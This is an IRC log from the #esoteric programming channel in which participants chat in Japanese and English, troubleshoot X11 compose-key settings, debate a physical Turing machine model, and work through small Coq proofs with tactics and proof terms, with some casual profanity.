:どうもありがとうございます。 < 1269747374 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :lol i've never seen sed and japanese used together < 1269747383 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :w < 1269747435 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :どもありがと Mr. ロボト < 1269747456 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1269747462 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :w < 1269747667 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :aduさんがなぜ日本に住んでいましたかな。 < 1269747723 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :ぶくも, but i've been away for 10 years, so i've forgotten so much < 1269747734 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm going to bed now. < 1269747741 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Cheerio, fellows. See you tomorrow. < 1269747742 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :alise: night < 1269747745 0 :alise!unknown@unknown.invalid QUIT :Quit: Leaving < 1269747801 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :日本語で、「僕も、でも10年間住まなくて、たくさん忘れた」と思います。 < 1269747856 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :sounds about right < 1269748032 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :僕の日本語は悪いです。 < 1269748220 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :なるほど。 < 1269748256 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :勉強するつもりじゃないんですか。 < 1269748402 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :勉強したくない < 1269748504 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :残念ですね。 < 1269748905 0 :ais523!unknown@unknown.invalid TOPIC #esoteric :this topic is incorrect today but will be correct tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1269748910 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269749021 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION brainmelts
< 1269750135 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269751578 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's incorrect and will remain incorrect forever. < 1269751600 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :So will 1+1=2 < 1269751602 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :erm, 3 < 1269752007 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269754193 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269754770 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1269755588 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269759355 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269759852 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269763199 0 :clog!unknown@unknown.invalid QUIT :ended < 1269763200 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269766665 0 :lifthrasiir!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269766743 0 :lifthrasiir!~lifthrasi@haje12.kaist.ac.kr JOIN :#esoteric < 1269767047 0 :lifthrasiir!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1269769873 0 :ais523!unknown@unknown.invalid QUIT : < 1269770649 0 :Quadrescence!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269770716 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1269770730 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :me looks up at the non-latin script < 1269770732 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1269770733 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks up at the non-latin script
< 1269770749 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Unicode++ < 1269770773 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : groan <-- you don't like Discworld books then I assume? < 1269770782 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah wait he isn't here atm < 1269770804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dixon, sure, but not for it's own sake < 1269770828 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is very nice when you actually have a reason to use it though < 1269770897 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION really should try to figure out why mapping pi onto compose p i didn't work out
< 1269770942 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :wat < 1269771144 0 :adam_d!~Adam@aatl83.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269771426 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269772300 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dixon, you know the compose key? < 1269772332 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :I don't have such a fancy thing. < 1269772361 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well usually you need to enable it in some settings < 1269772371 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I never seen it on non-*nix systems < 1269772449 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dixon, it allows you to press that key you made your compose key then press two other keys < 1269772452 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to write some letter < 1269772469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like µ (compose m u) < 1269772481 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(though that specific one is also on altgr-m for me) < 1269772491 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I know. I'm running *nix, I just don't use it. < 1269772504 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah right < 1269772517 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269772528 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dixon, thing is I want compose p i to give me the unicode pi < 1269772545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and well, for some reason something is ignoring my config file for it < 1269772550 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :weird < 1269772559 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :need to restart X or something? < 1269772571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dixon, done that since when I added the file < 1269772590 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but yeah ~/.XCompose doesn't seem to be used, though docs indicate it should work < 1269772653 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :leave it up to the X people to not update their docs < 1269772673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dixon, oh? you found something indicating it works differently nowdays? < 1269772688 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dixon, the weird thing is that it worked for someone else in here (forgot who) < 1269772733 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Naw, I have no idea why it doesn't work. :\ < 1269772756 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :but there is a chance that the docs aren't up to date < 1269772794 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269772844 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1269772899 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :lies! < 1269772925 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :http://www.mail-archive.com/vague@list.uvm.edu/msg03505.html < 1269772935 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :dunno if that helps < 1269773158 0 :Phantom_Hoover!~chatzilla@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com JOIN :#esoteric < 1269773168 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :http://aturingmachine.com/ < 1269773170 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I want one. < 1269773216 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :That's just dumb. < 1269773228 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :But it's cool. < 1269773230 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :It's obvious the tape isn't infinitely long. < 1269773233 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :What a piece of shit. < 1269773241 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but it's still cool. < 1269773265 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :And there are around 1000 feet of tape, so it's practically infinite. < 1269773298 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I.e. if you wanted to do any calculations involving more cells than that you'd really just use a computer. < 1269773356 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Glad to hear you think 1000 feet is "practically infinite" < 1269773366 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Read my second post. < 1269773372 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Means my penis is up there on the list. < 1269773384 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :And by that logic, normal computers are dumb. < 1269773392 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :After all, they have finite memory. < 1269773402 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Client Quit < 1269773453 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :There difference between a math student and a computer science student is a sense of humor. < 1269773456 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :-re < 1269774609 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269775493 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1269776025 0 :Phantom_Hoover!~chatzilla@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com JOIN :#esoteric < 1269777011 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269778746 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269782030 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269782060 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :which one has a sense of humor? < 1269782147 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm both and i both do and don't have a sense of humor, i think < 1269782167 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so in either case, you might be right < 1269782501 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: Your sense of humour must be quantum. < 1269782507 0 :cheater2!~cheater@ip-80-226-15-2.vodafone-net.de JOIN :#esoteric < 1269782535 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I still maintain the Turing machine was cool, though. < 1269782599 0 :cheater!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269782860 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it was totally awesome < 1269782886 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but it has a bit too much technology in it to be absolutely superawesome < 1269782888 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Unfortunately, my life is now going to be unfulfilled until I acquire or build one. < 1269784172 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1269784363 0 :alise!~alise___@212.183.140.21 JOIN :#esoteric < 1269784442 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :/r/programming is fucking useless; the idiot Ted Dziuba taking the first spot. < 1269784477 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :02:06:44 dixon, sure, but not for it's own sake < 1269784483 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What, the Japanese or the what? < 1269784487 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :My stuff maybe? < 1269784487 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I upvoted it for generating discussion, whether or not it's sensible. < 1269784530 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :02:36:30 but yeah ~/.XCompose doesn't seem to be used, though docs indicate it should work < 1269784533 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you need to do stuff < 1269784552 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Discussion of the most trivial, boring stuff - the kind Dziuba usually generates. < 1269784578 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Professional social network manipulator by way of simply being a gigantic asshole with stupid opinions. Hey, sounds like me, apart from the social network part. < 1269784603 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :02:47:10 It's obvious the tape isn't infinitely long. < 1269784603 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :02:47:13 What a piece of shit. < 1269784614 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You fail; only some Turing machines have infinite tape. < 1269784689 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Coq is awesome < 1269784910 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :alise : Lies < 1269784915 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Turing machines have infinite tapes < 1269784922 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Otherwise, they would not be Turing machines! < 1269785070 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, but there are non-universal turing machines, no? < 1269785075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess maybe they have infinite tape anyway. < 1269785442 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :of course there are non-universal turing machines < 1269785453 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :for instance the empty turing machine is pretty non-universal < 1269785460 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP < 1269785582 0 :MigoMipo!~migomipo@84-217-9-23.tn.glocalnet.net JOIN :#esoteric < 1269785641 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::PPPPPPPPPPPP < 1269786293 0 :Guest39936!~mirwais_g@77.69.196.133 JOIN :#esoteric < 1269786371 0 :Guest39936!unknown@unknown.invalid PART #esoteric :? < 1269786980 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Global tuple space! < 1269787028 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i used to love that crazy thing < 1269787108 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what thing < 1269787121 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :global tuple space? < 1269787170 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269787218 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :seems a bit too ... unesoteric for you, i mean in your fun definition of esoteric < 1269787221 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but why don't you love it any more < 1269787237 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :K has a global tuplespace... it's hot < 1269787246 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i haven't touched one in ages < 1269787261 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :love fades fast as they say < 1269787276 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wat < 1269787331 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :wat wat < 1269787352 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i mean i'm just imagining like... one gigantic trie/graph/thing < 1269787352 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and that is everything < 1269787360 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wat < 1269787410 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :wat wat wat < 1269787466 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oko < 1269788068 0 :alise_!~alise___@212.183.140.35 JOIN :#esoteric < 1269788227 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269788557 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269789884 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the thing with coq is < 1269789888 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sometimes I end up with < 1269789889 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H : 1 = 0 < 1269789890 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : ============================ < 1269789890 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : False < 1269789900 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and I'm not entirely sure how it wants me to prove that 1 = 0 is impossible... < 1269790225 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Today on "ridiculously trivial proofs": There exists a natural n such that S (pred n) <> n (because pred 0 = 0 in Coq). < 1269790227 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/892089.txt?key=mjqv5f7o9cbvwfvjih18a < 1269790233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Tactics used: < 1269790235 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apply ex_intro with 0. < 1269790235 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :compute in |- *. < 1269790235 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :intros H. < 1269790235 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :auto. < 1269790235 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :congruence. < 1269790280 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Really it's a disproof of 1 = 0. < 1269790288 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Because I just plugged in the value then told it to shut up and compute S (pred n) and n. :) < 1269790427 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Actually I don't think auto did anything there... < 1269790574 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I could have produced that with just: < 1269790576 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apply ex_intro with 0. < 1269790578 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :congruence. < 1269790674 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If I used discriminate instead of the more advanced congruence, I'd get: < 1269790691 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/892094.txt?key=sygsuuuwz1tnauvsksvw5q < 1269790701 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Which is simpler. < 1269790711 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(That's from apply ex_intro with 0. compute. intros H. discriminate.) < 1269790735 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Which can also be produced with: < 1269790738 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apply ex_intro with 0. < 1269790739 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :discriminate. < 1269790744 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So that's the shortest, simplest proof. < 1269791066 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ooh, coqolf < 1269791115 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Now I'm trying to prove (~ exists n, forall m, n >= m); it's surprisingly difficult. < 1269791152 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :for exists, you need a specific counterexample, so take succ n, then just use succ n > n for all n < 1269791155 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :how can that be hard? < 1269791162 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i should learn cow < 1269791164 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*coq < 1269791168 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well of course it is easy, it's just expressing it in the tactics engine < 1269791171 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*example < 1269791172 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :without really knowing what tactics to use... < 1269791180 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I could do it as a lambda expression, probably, with equality induction < 1269791184 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but it'll be shorter as tactics < 1269791191 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and lambda expression proofs get unwieldy fast, they're like bytecode < 1269791204 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :currently I'm up to: < 1269791207 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H : forall m : nat, 0 >= m < 1269791208 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :right i don't know anything about tactics. well except that they can magically do things for you < 1269791208 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : ============================ < 1269791209 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : False < 1269791210 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :nobiggest < apply (H 1). < 1269791210 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Toplevel input, characters 0-11: < 1269791211 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :> apply (H 1). < 1269791213 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :> ^^^^^^^^^^^ < 1269791215 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Error: Impossible to unify "0 >= 1" with "False". < 1269791228 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: basically they search for stuff with certain types in the environment then apply them using various different already-proved theorems < 1269791232 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :to try and prove the current goal < 1269791253 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so like if you have "1 = 0" you can use "discriminate" and it'll look for an equality, then it'll examine the constructors, find out that they're different, and derive a contradiction for you < 1269791266 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :right, cool < 1269791271 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you can use "apply F" to apply a function/implication in the environment automatically filling in the arguments it can, giving subgoals automatically if this reduces the problem < 1269791279 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: one issue is that tactics automatically introduce variables with names they like < 1269791289 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so reading it without seeing the transcript, random "H3"s just appear out of nowhere :) < 1269791350 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I'll prove forall n, exists m, m > n, then prove ~ exists n, forall m, n >= m from that. < 1269791395 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : ============================ < 1269791395 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : S n > n < 1269791400 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :auto time :P < 1269791417 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :here's my documentation for auto: "does something helpful, or does something unhelpful, or does nothing". < 1269791418 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what's auto? < 1269791423 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :this time it worked! < 1269791427 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :cool < 1269791427 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: it tries to magically prove whatever for you < 1269791429 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it isn't very good at it < 1269791440 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :intros n. < 1269791440 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apply ex_intro with (S n). < 1269791441 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :auto. < 1269791441 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :-> < 1269791444 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :alwaysbigger = < 1269791446 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fun n : nat => ex_intro (fun m : nat => m > n) (S n) (le_n (S n)) < 1269791446 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : : forall n : nat, exists m : nat, m > n < 1269791521 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : x : nat < 1269791523 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H : forall m : nat, x >= m < 1269791523 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : x0 : nat < 1269791523 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H0 : x0 > x < 1269791523 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : ============================ < 1269791523 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : False < 1269791523 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that's better < 1269791669 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H0 : x0 > x < 1269791670 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H1 := H x0 : x >= x0 < 1269791671 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cuntradiction < 1269791805 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :destruct H0 < 1269791806 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then I get < 1269791807 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H1 := H (S x) : x >= S x < 1269791824 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :destruct? < 1269791838 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :basically... take this object, deconstruct it into its components < 1269791843 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which depends on what it is < 1269791849 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :in this case I'm destructing the inequality into the environment < 1269791855 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so that the same implications hold, but it's folded into other things < 1269791859 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :rather than a separate object < 1269791872 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :with e.g. a tuple (x,y) it'd introduce two values, x and y < 1269791881 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :they're tactics... they don't really have precise semantics :) < 1269791882 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :kinda cool < 1269791886 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah i get it < 1269791977 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lol disproving x >= S x is so hard < 1269791985 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :there must be some lemma for x >= y -> x <> y < 1269791992 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then I could use discriminate < 1269792083 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Theorem gt_Sn_n : forall n, S n > n. < 1269792093 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Hint Resolve gt_Sn_n: arith v62. < 1269792282 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : x : nat < 1269792283 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H : forall m : nat, x >= m < 1269792283 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H1 := H (S x) : x >= S x < 1269792283 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : ============================ < 1269792303 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269792315 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :proving False from this is stupidly hard... < 1269792315 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :obviously ~ x >= S x < 1269792502 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1269792505 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : H1 := H x : x >= x < 1269792508 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :now we're getting somewhere < 1269793236 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'm just doing it the general abstract nonsense way - < 1269793259 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Prove (forall x, P x) -> ~(exists x, ~P x) < 1269793295 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then apply that to alwaysbigger < 1269793296 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(alwaysbigger : forall x, exists y, y > x) so we get ~(exists x, ~exists y, y > x). < 1269793296 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'll go from there. < 1269793305 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :forallnotexists2 = < 1269793306 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fun (A : Type) (P : A -> Prop) (H : forall x : A, P x) < 1269793306 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : (H0 : exists x : A, ~ P x) => < 1269793306 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :match H0 with < 1269793306 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :| ex_intro x H1 => let H2 := H x in False_ind False (H1 H2) < 1269793306 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :end < 1269793307 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : : forall (A : Type) (P : A -> Prop), < 1269793309 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : (forall x : A, P x) -> ~ (exists x : A, ~ P x) < 1269793318 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if anyone cares. < 1269793320 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Pretty easy proof, it has to be said. < 1269793615 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lol auto worked in coqtop but not here... < 1269793637 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :in emacs < 1269793757 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Write it in LaTeX. < 1269793758 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh because I inverted it lol < 1269794017 0 